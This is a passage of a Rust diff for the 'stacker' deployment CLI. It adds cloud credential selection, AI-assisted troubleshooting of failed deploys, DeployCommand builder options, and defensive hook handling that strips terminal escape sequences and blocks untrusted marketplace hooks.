+        serde_yaml::Value::Mapping(m) => m,
+        _ => return None,
     };
 
-    if !compose_path.exists() {
-        return Ok(());
-    }
-
-    let compose_str = compose_path.to_string_lossy().to_string();
-    let executor = ShellExecutor;
-    let timeout = Duration::from_secs(120);
-    let poll = Duration::from_secs(3);
-    let start = Instant::now();
+    let services_key = serde_yaml::Value::String("services".to_string());
+    let app_key = serde_yaml::Value::String("app".to_string());
+    let build_key = serde_yaml::Value::String("build".to_string());
+    let context_key = serde_yaml::Value::String("context".to_string());
+    let dockerfile_key = serde_yaml::Value::String("dockerfile".to_string());
 
-    let spin = progress::spinner("Checking container health...");
+    let services = match root.get(&services_key) {
+        Some(serde_yaml::Value::Mapping(m)) => m,
+        _ => return None,
+    };
+    let app = match services.get(&app_key) {
+        Some(serde_yaml::Value::Mapping(m)) => m,
+        _ => return None,
+    };
+    let build = app.get(&build_key)?;
 
-    loop {
-        let args = vec![
-            "compose", "-f", &compose_str, "ps",
-            "--format", "json",
-        ];
-        if let Ok(output) = executor.execute("docker", &args) {
-            if output.success() {
-                let stdout = output.stdout.trim();
-                if !stdout.is_empty() {
-                    match parse_container_statuses(stdout) {
-                        Some((running, total)) if total > 0 => {
-                            progress::update_health(&spin, running, total);
-                            if running == total {
-                                progress::finish_success(
-                                    &spin,
-                                    &format!("All {}/{} containers running", running, total),
-                                );
-                                // Show container summary
-                                print_container_summary(&compose_str, &executor);
-                                return Ok(());
-                            }
-                        }
-                        _ => {}
-                    }
-                }
-            }
-        }
+    let compose_dir = compose_path.parent().unwrap_or_else(|| Path::new("."));
 
-        if start.elapsed() > timeout {
-            progress::finish_error(&spin, "Timeout waiting for containers — check `stacker status`");
-            return Ok(());
+    match build {
+        serde_yaml::Value::String(context_str) => {
+            let context_path = PathBuf::from(context_str);
+            let context_abs = if context_path.is_absolute() {
+                context_path
+            } else {
+                compose_dir.join(context_path)
+            };
+            let dockerfile_abs = context_abs.join("Dockerfile");
+            Some(format!(
+                "context={}, dockerfile={}",
+                context_abs.display(),
+                dockerfile_abs.display()
+            ))
         }
+        serde_yaml::Value::Mapping(build_map) => {
+            let context_raw = build_map
+                .get(&context_key)
+                .and_then(|v| v.as_str())
+                .unwrap_or(".");
+            let dockerfile_raw = build_map
+                .get(&dockerfile_key)
+                .and_then(|v| v.as_str())
+                .unwrap_or("Dockerfile");
 
-        std::thread::sleep(poll);
-    }
-}
-
-/// Parse `docker compose ps --format json` output and count running containers.
-/// Returns `(running_count, total_count)`.
-fn parse_container_statuses(json_str: &str) -> Option<(usize, usize)> {
-    // docker compose ps --format json outputs one JSON object per line,
-    // or a JSON array depending on the version.
-    let containers: Vec<serde_json::Value> = if json_str.trim_start().starts_with('[') {
-        serde_json::from_str(json_str).ok()?
-    } else {
-        // One JSON object per line
-        json_str
-            .lines()
-            .filter_map(|line| serde_json::from_str::<serde_json::Value>(line).ok())
-            .collect()
-    };
-
-    let total = containers.len();
-    let running = containers
-        .iter()
-        .filter(|c| {
-            let state = c.get("State").and_then(|v| v.as_str()).unwrap_or("");
-            state == "running"
-        })
-        .count();
+            let context_path = PathBuf::from(context_raw);
+            let context_abs = if context_path.is_absolute() {
+                context_path
+            } else {
+                compose_dir.join(context_path)
+            };
 
-    Some((running, total))
-}
+            let dockerfile_path = PathBuf::from(dockerfile_raw);
+            let dockerfile_abs = if dockerfile_path.is_absolute() {
+                dockerfile_path
+            } else {
+                context_abs.join(dockerfile_path)
+            };
 
-/// Print a brief container summary table.
-fn print_container_summary(compose_str: &str, executor: &dyn CommandExecutor) {
-    let args = vec!["compose", "-f", compose_str, "ps", "--format", "table"];
-    if let Ok(output) = executor.execute("docker", &args) {
-        if output.success() && !output.stdout.trim().is_empty() {
-            eprintln!();
-            eprint!("{}", output.stdout);
+            Some(format!(
+                "context={}, dockerfile={}",
+                context_abs.display(),
+                dockerfile_abs.display()
+            ))
         }
+        _ => None,
     }
 }
 
-// ── Cloud deployment status polling after remote deploy ──────
+fn build_troubleshoot_error_log(project_dir: &Path, reason: &str) -> String {
+    let dockerfile_path = project_dir.join(OUTPUT_DIR).join("Dockerfile");
+    let compose_path = project_dir.join(OUTPUT_DIR).join("docker-compose.yml");
 
-/// Terminal statuses — once reached, watching stops.
-const TERMINAL_STATUSES: &[&str] = &[
-    "completed",
-    "failed",
-    "cancelled",
-    "error",
-    "paused",
-];
+    let dockerfile = std::fs::read_to_string(&dockerfile_path).unwrap_or_default();
+    let compose = std::fs::read_to_string(&compose_path).unwrap_or_default();
 
-fn is_terminal(status: &str) -> bool {
-    TERMINAL_STATUSES.iter().any(|s| *s == status)
-}
+    let dockerfile_snippet = if dockerfile.is_empty() {
+        "(not found)".to_string()
+    } else {
+        dockerfile.chars().take(4000).collect()
+    };
 
-/// Watch cloud deployment status until it reaches a terminal state.
-fn watch_cloud_deployment(result: &DeployResult) -> Result<(), Box<dyn std::error::Error>> {
-    use std::time::Duration;
+    let compose_snippet = if compose.is_empty() {
+        "(not found)".to_string()
+    } else {
+        compose.chars().take(4000).collect()
+    };
 
-    let cred_manager = CredentialsManager::with_default_store();
-    let creds = match cred_manager.require_valid_token("deployment status") {
-        Ok(c) => c,
-        Err(e) => {
-            eprintln!("  Cannot watch deployment status: {}", e);
-            eprintln!("  Run `stacker status --watch` later to check progress.");
-            return Ok(());
-        }
+    format!(
+        "Deploy error:\n{}\n\nGenerated Dockerfile (.stacker/Dockerfile):\n{}\n\nGenerated Compose (.stacker/docker-compose.yml):\n{}",
+        reason, dockerfile_snippet, compose_snippet
+    )
+}
+
+fn print_ai_deploy_help(project_dir: &Path, config_file: Option<&str>, err: &CliError) {
+    let reason = match err {
+        CliError::DeployFailed { reason, .. } => reason,
+        _ => return,
     };
 
-    let base_url = crate::cli::install_runner::normalize_stacker_server_url(
-        stacker_client::DEFAULT_STACKER_URL,
-    );
+    eprintln!("\nTroubleshooting help:");
 
-    let project_id = match result.project_id {
-        Some(id) => id as i32,
-        None => {
-            eprintln!("  No project ID — run `stacker status --watch` to check progress.");
-            return Ok(());
+    let ai_config = match resolve_ai_from_env_or_config(project_dir, config_file) {
+        Ok(cfg) => cfg,
+        Err(load_err) => {
+            eprintln!(
+                "  Could not load AI config for troubleshooting: {}",
+                load_err
+            );
+            for hint in fallback_troubleshooting_hints(reason) {
+                eprintln!("  - {}", hint);
+            }
+            eprintln!(
+                "  Tip: enable AI with stacker init --with-ai or set STACKER_AI_PROVIDER=ollama"
+            );
+            return;
         }
     };
 
-    eprintln!();
-    let spin = progress::spinner("Watching deployment progress...");
+    if !ai_config.enabled {
+        eprintln!("  AI troubleshooting disabled (ai.enabled=false).");
+        for hint in fallback_troubleshooting_hints(reason) {
+            eprintln!("  - {}", hint);
+        }
+        eprintln!("  Tip: enable AI in stacker.yml if you want AI troubleshooting suggestions");
+        return;
+    }
 
-    let poll_interval = Duration::from_secs(5);
-    let timeout = Duration::from_secs(600); // 10 min max watch
+    let error_log = build_troubleshoot_error_log(project_dir, reason);
+    let ctx = PromptContext {
+        project_type: None,
+        files: vec![
+            ".stacker/Dockerfile".to_string(),
+            ".stacker/docker-compose.yml".to_string(),
+        ],
+        error_log: Some(error_log),
+        current_config: None,
+    };
+    let (system, prompt) = build_prompt(AiTask::Troubleshoot, &ctx);
 
-    let rt = tokio::runtime::Builder::new_current_thread()
-        .enable_all()
-        .build()?;
+    if ai_config.provider == AiProviderType::Ollama {
+        eprintln!("  AI suggestion (streaming from Ollama):");
+        match ollama_complete_streaming(&ai_config, &prompt, &system) {
+            Ok(answer) => {
+                if answer.trim().is_empty() {
+                    eprintln!("    (empty AI response)");
+                }
+                eprintln!();
+            }
+            Err(ai_err) => {
+                eprintln!("  AI troubleshooting unavailable: {}", ai_err);
+                for hint in fallback_troubleshooting_hints(reason) {
+                    eprintln!("  - {}", hint);
+                }
+                eprintln!("  Tip: set STACKER_AI_PROVIDER=ollama and ensure Ollama is running");
+            }
+        }
+        return;
+    }
 
-    rt.block_on(async {
-        let client = StackerClient::new(&base_url, &creds.access_token);
-        let start = std::time::Instant::now();
-        let mut last_status = String::new();
+    eprintln!("  AI request in progress...");
+    match create_provider(&ai_config).and_then(|provider| provider.complete(&prompt, &system)) {
+        Ok(answer) => {
+            eprintln!("  AI suggestion:");
+            for line in answer.lines().take(20) {
+                eprintln!("    {}", line);
+            }
+        }
+        Err(ai_err) => {
+            eprintln!("  AI troubleshooting unavailable: {}", ai_err);
+            for hint in fallback_troubleshooting_hints(reason) {
+                eprintln!("  - {}", hint);
+            }
+            eprintln!("  Tip: set STACKER_AI_PROVIDER=ollama and ensure Ollama is running");
+        }
+    }
+}
+
+/// Map a provider code string (as stored in CloudInfo.provider) to a `CloudProvider` enum.
+///
+/// Accepts both short codes ("htz", "do", "aws", "lo", "vu") and full names
+/// ("hetzner", "digitalocean", "aws", "linode", "vultr").
+fn cloud_provider_from_code(code: &str) -> Option<CloudProvider> {
+    match code.to_lowercase().as_str() {
+        "htz" | "hetzner" => Some(CloudProvider::Hetzner),
+        "do" | "digitalocean" => Some(CloudProvider::Digitalocean),
+        "aws" => Some(CloudProvider::Aws),
+        "lo" | "linode" => Some(CloudProvider::Linode),
+        "vu" | "vultr" => Some(CloudProvider::Vultr),
+        _ => None,
+    }
+}
+
+/// Interactively prompt the user to select a saved cloud credential when
+/// no `deploy.cloud` section is present in stacker.yml.
+///
+/// - Fetches the list of saved clouds from the Stacker server.
+/// - Presents an interactive `Select` menu with each cloud plus a
+///   "Connect a new cloud provider" option at the end.
+/// - Returns:
+///   - `Ok(Some(cloud_info))` when the user picks an existing credential.
+///   - `Ok(None)` when the user picks "Connect a new cloud provider".
+///   - `Err(...)` on I/O or network errors.
+fn prompt_select_cloud(
+    base_url: &str,
+    access_token: &str,
+) -> Result<Option<stacker_client::CloudInfo>, CliError> {
+    let rt = tokio::runtime::Builder::new_current_thread()
+        .enable_all()
+        .build()
+        .map_err(|e| {
+            CliError::ConfigValidation(format!("Failed to create async runtime: {}", e))
+        })?;
+
+    let clouds = rt.block_on(async {
+        let client = StackerClient::new(&base_url, access_token);
+        client.list_clouds().await
+    })?;
+
+    const CONNECT_NEW: &str = "→  Connect a new cloud provider";
+
+    if clouds.is_empty() {
+        eprintln!();
+        eprintln!("  No saved cloud credentials found.");
+        eprintln!("  To add cloud credentials, export your provider token and redeploy:");
+        eprintln!("    {}   # Hetzner", cloud_env::provider_cli_example("htz"));
+        eprintln!(
+            "    {}   # DigitalOcean",
+            cloud_env::provider_cli_example("do")
+        );
+        eprintln!("    {}  # AWS", cloud_env::provider_cli_example("aws"));
+        eprintln!();
+        return Err(CliError::CloudProviderMissing);
+    }
+
+    // Column widths for the interactive cloud selection menu.
+    const CLOUD_ID_WIDTH: usize = 6;
+    const CLOUD_NAME_WIDTH: usize = 24;
+
+    let mut items: Vec<String> = clouds
+        .iter()
+        .map(|c| {
+            format!(
+                "{:<width_id$} {:<width_name$} ({})",
+                c.id,
+                c.name,
+                c.provider,
+                width_id = CLOUD_ID_WIDTH,
+                width_name = CLOUD_NAME_WIDTH
+            )
+        })
+        .collect();
+    items.push(CONNECT_NEW.to_string());
+
+    eprintln!();
+    eprintln!("  No cloud provider configured in stacker.yml.");
+    if cfg!(test) || !std::io::stdin().is_terminal() {
+        eprintln!("  Non-interactive shell detected; skipping cloud credential prompt.");
+        eprintln!("  Re-run with --key <name> or --key-id <id>, or configure deploy.cloud with `stacker config setup cloud`.");
+        return Err(CliError::CloudProviderMissing);
+    }
+    eprintln!("  Select a saved cloud credential to use for this deployment:");
+    eprintln!();
+
+    let selection = dialoguer::Select::new()
+        .with_prompt("Cloud credential")
+        .items(&items)
+        .default(0)
+        .interact()
+        .map_err(|e| CliError::ConfigValidation(format!("Selection error: {}", e)))?;
+
+    if selection == clouds.len() {
+        // User chose "Connect a new cloud provider"
+        return Ok(None);
+    }
+
+    Ok(Some(clouds.into_iter().nth(selection).expect(
+        "selection index should be within bounds of clouds vector",
+    )))
+}
+
+fn active_stacker_base_url(creds: &StoredCredentials) -> String {
+    if let Some(server_url) = creds.server_url.as_deref() {
+        return crate::cli::install_runner::normalize_stacker_server_url(server_url);
+    }
+    if let Ok(server_url) = std::env::var("STACKER_URL") {
+        if !server_url.trim().is_empty() {
+            return crate::cli::install_runner::normalize_stacker_server_url(&server_url);
+        }
+    }
+    stacker_client::DEFAULT_STACKER_URL.to_string()
+}
+
+fn cloud_config_from_info(cloud_info: &stacker_client::CloudInfo) -> Result<CloudConfig, CliError> {
+    merge_cloud_config_from_info(None, cloud_info)
+}
+
+fn merge_cloud_config_from_info(
+    existing: Option<&CloudConfig>,
+    cloud_info: &stacker_client::CloudInfo,
+) -> Result<CloudConfig, CliError> {
+    let provider = cloud_provider_from_code(&cloud_info.provider).ok_or_else(|| {
+        CliError::ConfigValidation(format!(
+            "Unrecognised cloud provider '{}' for credential '{}'. Supported providers: hetzner (htz), digitalocean (do), aws, linode (lo), vultr (vu).",
+            cloud_info.provider, cloud_info.name
+        ))
+    })?;
+
+    Ok(CloudConfig {
+        provider,
+        orchestrator: existing
+            .map(|cloud| cloud.orchestrator)
+            .unwrap_or(CloudOrchestrator::Remote),
+        region: existing.and_then(|cloud| cloud.region.clone()),
+        size: existing.and_then(|cloud| cloud.size.clone()),
+        install_image: existing.and_then(|cloud| cloud.install_image.clone()),
+        remote_payload_file: existing.and_then(|cloud| cloud.remote_payload_file.clone()),
+        ssh_key: existing.and_then(|cloud| cloud.ssh_key.clone()),
+        key: Some(cloud_info.name.clone()),
+        server: existing.and_then(|cloud| cloud.server.clone()),
+        public_ports: existing
+            .map(|cloud| cloud.public_ports.clone())
+            .unwrap_or_default(),
+    })
+}
+
+fn apply_cloud_cli_override(
+    config: &mut StackerConfig,
+    remote_overrides: &RemoteDeployOverrides,
+    creds: &StoredCredentials,
+) -> Result<(), CliError> {
+    if remote_overrides.key_id.is_none() && remote_overrides.key_name.is_none() {
+        return Ok(());
+    }
+
+    let base_url = active_stacker_base_url(creds);
+    let rt = tokio::runtime::Builder::new_current_thread()
+        .enable_all()
+        .build()
+        .map_err(|e| {
+            CliError::ConfigValidation(format!("Failed to create async runtime: {}", e))
+        })?;
+    let client = StackerClient::new(&base_url, &creds.access_token);
+
+    let cloud_info = if let Some(key_id) = remote_overrides.key_id {
+        rt.block_on(client.get_cloud(key_id))?.ok_or_else(|| {
+            CliError::ConfigValidation(format!("No saved cloud credential found with id {key_id}"))
+        })?
+    } else {
+        let key_name = remote_overrides
+            .key_name
+            .as_deref()
+            .expect("key_name checked above");
+        rt.block_on(client.find_cloud_by_name(key_name))?
+            .ok_or_else(|| {
+                CliError::ConfigValidation(format!(
+                    "No saved cloud credential found with name '{key_name}'"
+                ))
+            })?
+    };
+
+    eprintln!(
+        "  Using cloud credential override: {} (id={}, provider={})",
+        cloud_info.name, cloud_info.id, cloud_info.provider
+    );
+    config.deploy.target = DeployTarget::Cloud;
+    config.deploy.cloud = Some(merge_cloud_config_from_info(
+        config.deploy.cloud.as_ref(),
+        &cloud_info,
+    )?);
+    Ok(())
+}
+
+/// `stacker deploy [--target local|cloud|server] [--file stacker.yml] [--dry-run] [--force-rebuild]`
+/// `stacker deploy --project=myapp --target cloud --key devops --server bastion`
+///
+/// Generates Dockerfile + docker-compose from stacker.yml, then
+/// deploys using the appropriate strategy (local, cloud, or server).
+///
+/// For remote cloud deploys, the CLI now goes through the Stacker server API
+/// instead of calling User Service directly:
+///   1. Resolves (or auto-creates) the project on the Stacker server
+///   2. Looks up saved cloud credentials by provider (or passes env-var creds)
+///   3. Looks up saved server by name (optional)
+///   4. Calls `POST /project/{id}/deploy[/{cloud_id}]`
+pub struct DeployCommand {
+    /// Single-service surgical deploy: inject service from local compose and start only it.
+    pub service: Option<String>,
+    pub target: Option<String>,
+    pub environment: Option<String>,
+    pub file: Option<String>,
+    pub dry_run: bool,
+    pub force_rebuild: bool,
+    /// Override project name (--project flag)
+    pub project_name: Option<String>,
+    /// Override cloud key name (--key flag)
+    pub key_name: Option<String>,
+    /// Override cloud key by ID (--key-id flag)
+    pub key_id: Option<i32>,
+    /// Override server name (--server flag)
+    pub server_name: Option<String>,
+    /// Watch deployment progress until complete (--watch / --no-watch).
+    /// `None` means "auto" (watch for cloud, health-check for local).
+    pub watch: Option<bool>,
+    /// Persist server details into stacker.yml after deploy (--lock).
+    pub lock: bool,
+    /// Skip smart server pre-check and lockfile hints; force fresh cloud provision (--force-new).
+    pub force_new: bool,
+    /// Container runtime: "runc" (default) or "kata" (--runtime).
+    pub runtime: String,
+    /// Generate a read-only deployment plan instead of applying changes.
+    pub plan: bool,
+    /// Revalidate and apply a previously generated plan fingerprint.
+    pub apply_plan: Option<String>,
+    /// Skip every shell hook regardless of provenance (--no-hooks).
+    pub no_hooks: bool,
+    /// Run hooks even when the stacker.yml is marketplace-generated
+    /// (--allow-untrusted-hooks). No-op for user-authored files.
+    pub allow_untrusted_hooks: bool,
+}
+
+impl DeployCommand {
+    pub fn new(
+        target: Option<String>,
+        file: Option<String>,
+        dry_run: bool,
+        force_rebuild: bool,
+    ) -> Self {
+        Self {
+            service: None,
+            target,
+            environment: None,
+            file,
+            dry_run,
+            force_rebuild,
+            project_name: None,
+            key_name: None,
+            key_id: None,
+            server_name: None,
+            watch: None,
+            lock: false,
+            force_new: false,
+            runtime: "runc".to_string(),
+            plan: false,
+            apply_plan: None,
+            no_hooks: false,
+            allow_untrusted_hooks: false,
+        }
+    }
+
+    /// Builder method for --no-hooks / --allow-untrusted-hooks flags.
+    pub fn with_hook_flags(mut self, no_hooks: bool, allow_untrusted_hooks: bool) -> Self {
+        self.no_hooks = no_hooks;
+        self.allow_untrusted_hooks = allow_untrusted_hooks;
+        self
+    }
+
+    /// Resolve the DeployCommand's hook flags into a [`HookPolicy`].
+    pub fn hook_policy(&self) -> HookPolicy {
+        HookPolicy {
+            no_hooks: self.no_hooks,
+            allow_untrusted: self.allow_untrusted_hooks,
+        }
+    }
+
+    pub fn with_service(mut self, service: Option<String>) -> Self {
+        self.service = service;
+        self
+    }
+
+    pub fn with_environment(mut self, environment: Option<String>) -> Self {
+        self.environment = environment;
+        self
+    }
+
+    /// Builder method to set remote override flags from CLI args.
+    pub fn with_remote_overrides(
+        mut self,
+        project: Option<String>,
+        key: Option<String>,
+        server: Option<String>,
+    ) -> Self {
+        self.project_name = project;
+        self.key_name = key;
+        self.server_name = server;
+        self
+    }
+
+    /// Builder method to set cloud key ID from CLI `--key-id` flag.
+    pub fn with_key_id(mut self, key_id: Option<i32>) -> Self {
+        self.key_id = key_id;
+        self
+    }
+
+    /// Builder method to set watch behaviour.
+    /// `--watch` forces watch on; `--no-watch` forces it off.
+    /// Neither flag → auto (cloud=watch, local=health-check).
+    pub fn with_watch(mut self, watch: bool, no_watch: bool) -> Self {
+        if no_watch {
+            self.watch = Some(false);
+        } else if watch {
+            self.watch = Some(true);
+        }
+        // else remains None → auto
+        self
+    }
+
+    /// Builder method to set lock behaviour (--lock flag).
+    pub fn with_lock(mut self, lock: bool) -> Self {
+        self.lock = lock;
+        self
+    }
+
+    /// Builder method to set force-new behaviour (--force-new flag).
+    pub fn with_force_new(mut self, force_new: bool) -> Self {
+        self.force_new = force_new;
+        self
+    }
+
+    /// Builder method to set container runtime (--runtime flag).
+    pub fn with_runtime(mut self, runtime: String) -> Self {
+        let rt = runtime.to_lowercase();
+        if rt != "runc" && rt != "kata" {
+            eprintln!(
+                "Warning: unknown runtime '{}', defaulting to 'runc'",
+                runtime
+            );
+            self.runtime = "runc".to_string();
+        } else {
+            self.runtime = rt;
+        }
+        self
+    }
+
+    pub fn with_plan(mut self, plan: bool) -> Self {
+        self.plan = plan;
+        self
+    }
+
+    pub fn with_apply_plan(mut self, apply_plan: Option<String>) -> Self {
+        self.apply_plan = apply_plan;
+        self
+    }
+
+    /// Surgical single-service deploy: read local compose, inject the named service into the
+    /// remote deployment's compose, and start only that container.
+    fn deploy_single_service(&self, service: &str) -> Result<(), Box<dyn std::error::Error>> {
+        use crate::cli::stacker_client::AgentEnqueueRequest;
+        use crate::console::commands::cli::agent::{
+            resolve_deployment_hash, resolve_registry_auth_for_agent_deploy, run_agent_command,
+        };
+
+        let project_dir = std::env::current_dir()?;
+
+        // Load stacker config once — used for compose path, proxy config, and app registration.
+        let stacker_config_path = project_dir.join(DEFAULT_CONFIG_FILE);
+        let stacker_config: Option<StackerConfig> = if stacker_config_path.exists() {
+            Some(StackerConfig::from_file(&stacker_config_path)?)
+        } else {
+            None
+        };
+
+        // Find compose file: prefer deploy.compose_file from stacker.yml, else default.
+        let compose_path = stacker_config
+            .as_ref()
+            .and_then(|c| {
+                c.deploy
+                    .compose_file
+                    .as_deref()
+                    .map(|f| project_dir.join(f))
+            })
+            .unwrap_or_else(|| project_dir.join("docker-compose.yml"));
+
+        if !compose_path.exists() {
+            return Err(Box::new(CliError::ConfigValidation(format!(
+                "Compose file not found: {}",
+                compose_path.display()
+            ))));
+        }
+
+        let compose_content = std::fs::read_to_string(&compose_path)?;
+
+        // Verify the named service exists in the local compose.
+        let mut compose_doc: serde_yaml::Value = serde_yaml::from_str(&compose_content)
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid compose file: {}", e)))?;
+        let services_exist = compose_doc
+            .get("services")
+            .and_then(|s| s.as_mapping())
+            .map(|m| m.contains_key(serde_yaml::Value::String(service.to_string())))
+            .unwrap_or(false);
+        if !services_exist {
+            return Err(Box::new(CliError::ConfigValidation(format!(
+                "Service '{}' not found in {}",
+                service,
+                compose_path.display()
+            ))));
+        }
+
+        // Extract the image for the named service (needed for app registration).
+        let image = compose_doc
+            .get("services")
+            .and_then(|s| s.get(service))
+            .and_then(|svc| svc.get("image"))
+            .and_then(|v| v.as_str())
+            .unwrap_or("unknown")
+            .to_string();
+
+        // Auto-inject default_network when the service is an NginxProxyManager upstream.
+        let compose_content = if let Some(ref cfg) = stacker_config {
+            if crate::cli::compose_service_sync::inject_npm_proxy_network(
+                &mut compose_doc,
+                service,
+                &cfg.proxy,
+            ) {
+                serde_yaml::to_string(&compose_doc)?
+            } else {
+                compose_content
+            }
+        } else {
+            compose_content
+        };
+
+        let ctx = crate::cli::runtime::CliRuntime::new("deploy")?;
+        let hash = resolve_deployment_hash(&None, &ctx)?;
+
+        let params = crate::forms::status_panel::DeployAppCommandRequest {
+            app_code: service.to_string(),
+            compose_content: Some(compose_content),
+            image: None,
+            env_vars: None,
+            pull: true,
+            force_recreate: false,
+            force_config_overwrite: false,
+            runtime: self.runtime.clone(),
+            registry_auth: resolve_registry_auth_for_agent_deploy(&project_dir),
+            config_files: None,
+        };
+
+        let request = AgentEnqueueRequest::new(&hash, "deploy_app")
+            .with_parameters(&params)
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?
+            .with_timeout(300);
+
+        let info = run_agent_command(&ctx, &request, &format!("Deploying {}", service), 300)?;
+        if let Some(output) = info.result.as_ref().and_then(|r| r.as_str()) {
+            if !output.is_empty() {
+                println!("{}", output);
+            }
+        }
+
+        // Register the service as a tracked app in the project.
+        let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
+        if config_path.exists() {
+            if let Ok(cfg) = StackerConfig::from_file(&config_path)
+                .and_then(|c| c.with_resolved_deploy_target(None))
+            {
+                if let Some(project_name) = cfg.project.identity.as_deref() {
+                    let registered = ctx.block_on(async {
+                        let project = ctx.client.find_project_by_name(project_name).await?;
+                        if let Some(proj) = project {
+                            ctx.client
+                                .upsert_project_app(
+                                    proj.id,
+                                    &crate::cli::stacker_client::ProjectAppRegistrationRequest {
+                                        code: service.to_string(),
+                                        name: Some(service.to_string()),
+                                        image: image.clone(),
+                                        env: None,
+                                        ports: None,
+                                        volumes: None,
+                                        depends_on: None,
+                                        enabled: Some(true),
+                                        deploy_order: None,
+                                        deployment_hash: Some(hash.clone()),
+                                    },
+                                )
+                                .await?;
+                        }
+                        Ok::<_, CliError>(())
+                    });
+                    if let Err(e) = registered {
+                        eprintln!(
+                            "Warning: deployed successfully but app registration failed: {}",
+                            e
+                        );
+                    }
+                }
+            }
+        }
+
+        println!("Service '{}' deployed.", service);
+        Ok(())
+    }
+}
+
+/// Parse a deploy target string into `DeployTarget`.
+#[cfg(test)]
+fn parse_deploy_target(s: &str) -> Result<DeployTarget, CliError> {
+    let json = format!("\"{}\"", s.to_lowercase());
+    serde_json::from_str::<DeployTarget>(&json).map_err(|_| {
+        CliError::ConfigValidation(format!(
+            "Unknown deploy target '{}'. Valid targets: local, cloud, server",
+            s
+        ))
+    })
+}
+
+/// Override values from CLI flags for remote cloud deploys.
+#[derive(Debug, Clone, Default)]
+pub struct RemoteDeployOverrides {
+    pub project_name: Option<String>,
+    pub key_name: Option<String>,
+    pub key_id: Option<i32>,
+    pub server_name: Option<String>,
+}
+
+const HOOK_TIMEOUT: Duration = Duration::from_secs(300);
+
+/// Maximum bytes of hook stdout/stderr we relay to the terminal before
+/// truncating. Set at 1 MiB — comfortable for normal build output, small
+/// enough that a hostile hook can't blank the terminal / flood the pager /
+/// OOM the CLI. See audit M4.
+pub(crate) const HOOK_OUTPUT_MAX_BYTES: usize = 1_048_576;
+
+/// Suffix appended when `sanitize_hook_output` truncates. Users see this in
+/// their terminal; tests match on it verbatim. Keep it stable.
+pub(crate) const HOOK_OUTPUT_TRUNCATION_MARKER: &str =
+    "\n[stacker: hook output truncated to 1 MiB]";
+
+/// Strip terminal control sequences and cap length before we relay hook
+/// stdout/stderr to the user's terminal.
+///
+/// Attack surface (audit M4 + M5):
+///   * ANSI CSI (`ESC [ … final`) — cursor jumps, screen erase, colours.
+///   * ANSI OSC (`ESC ] … BEL` or `ESC ] … ESC \`) — set window title,
+///     hyperlink smuggling.
+///   * Single-char / two-byte ESC sequences (`ESC c`, `ESC 7`, etc.).
+///   * BEL / audible bell — harmless individually, but common in the
+///     tail of OSC sequences and worth dropping as a defensive measure.
+///
+/// This is intentionally hand-rolled — no crate dependency for what
+/// amounts to a few hundred lines of state machine.
+pub(crate) fn sanitize_hook_output(raw: &str) -> String {
+    let stripped = strip_ansi_sequences(raw);
+    if stripped.len() <= HOOK_OUTPUT_MAX_BYTES {
+        return stripped;
+    }
+    // Truncate at a UTF-8 char boundary at or below the cap.
+    let mut cutoff = HOOK_OUTPUT_MAX_BYTES;
+    while cutoff > 0 && !stripped.is_char_boundary(cutoff) {
+        cutoff -= 1;
+    }
+    let mut out = String::with_capacity(cutoff + HOOK_OUTPUT_TRUNCATION_MARKER.len());
+    out.push_str(&stripped[..cutoff]);
+    out.push_str(HOOK_OUTPUT_TRUNCATION_MARKER);
+    out
+}
+
+fn strip_ansi_sequences(raw: &str) -> String {
+    let mut out = String::with_capacity(raw.len());
+    let bytes = raw.as_bytes();
+    let mut i = 0;
+    while i < bytes.len() {
+        let b = bytes[i];
+        // Drop stray BEL — commonly used as OSC terminator; on its own
+        // it's just noise.
+        if b == 0x07 {
+            i += 1;
+            continue;
+        }
+        if b != 0x1b {
+            out.push(b as char);
+            i += 1;
+            continue;
+        }
+        // We're on ESC. Peek the next byte to classify.
+        let next = bytes.get(i + 1).copied();
+        match next {
+            // CSI: ESC [ params final. Final byte is 0x40..=0x7E,
+            // preceded by any number of params/intermediate bytes.
+            Some(b'[') => {
+                let mut j = i + 2;
+                while j < bytes.len() {
+                    let c = bytes[j];
+                    if (0x40..=0x7E).contains(&c) {
+                        j += 1; // consume the final byte
+                        break;
+                    }
+                    j += 1;
+                }
+                i = j;
+            }
+            // OSC: ESC ] payload (BEL | ESC \). We already strip BEL
+            // above, so we just scan until either BEL, ST (ESC \), or
+            // end of input.
+            Some(b']') => {
+                let mut j = i + 2;
+                while j < bytes.len() {
+                    let c = bytes[j];
+                    if c == 0x07 {
+                        j += 1;
+                        break;
+                    }
+                    if c == 0x1b && bytes.get(j + 1) == Some(&b'\\') {
+                        j += 2;
+                        break;
+                    }
+                    j += 1;
+                }
+                i = j;
+            }
+            // Two-byte ESC + intermediate (` ` through `/`) sequences,
+            // and ESC + single "F" final (`0`–`~`). Consume both.
+            Some(_) => {
+                i += 2;
+            }
+            None => {
+                // Lonely ESC at end of input — drop.
+                i += 1;
+            }
+        }
+    }
+    out
+}
+
+fn run_hook(
+    executor: &dyn CommandExecutor,
+    project_dir: &Path,
+    hook: &Option<PathBuf>,
+    hook_name: &str,
+    policy: HookPolicy,
+    origin_trusted: bool,
+) -> Result<(), CliError> {
+    if let Some(script) = hook {
+        // Policy guard 1: --no-hooks skips every hook unconditionally.
+        if policy.no_hooks {
+            eprintln!("  Hook ({}) skipped (--no-hooks)", hook_name);
+            return Ok(());
+        }
+
+        // Policy guard 2: marketplace-generated configs require an
+        // explicit --allow-untrusted-hooks opt-in. This is the C4
+        // defence: after `stacker install <template>` writes a
+        // stacker.yml with a hooks: block, running `stacker deploy` on
+        // that file must NOT execute hooks silently just because the
+        // user typed the deploy command.
+        if !origin_trusted && !policy.allow_untrusted {
+            return Err(CliError::HookRejected {
+                hook_name: hook_name.to_string(),
+                reason: format!(
+                    "this stacker.yml was generated by the marketplace and has not been \
+                     marked trusted. Review the hook script, then either remove the '{}' \
+                     marker line from the top of stacker.yml, or re-run with \
+                     --allow-untrusted-hooks. Use --no-hooks to skip all hooks.",
+                    crate::cli::config_parser::MARKETPLACE_ORIGIN_MARKER,
+                ),
+            });
+        }
+
+        let script_path = if script.is_absolute() {
+            script.clone()
+        } else {
+            project_dir.join(script)
+        };
+        if !script_path.exists() {
+            return Err(CliError::HookRejected {
+                hook_name: hook_name.to_string(),
+                reason: format!("script not found: {}", script_path.display()),
+            });
+        }
+
+        // Security: canonicalize the resolved path and reject traversal outside project_dir
+        let canonical = script_path
+            .canonicalize()
+            .map_err(|e| CliError::HookRejected {
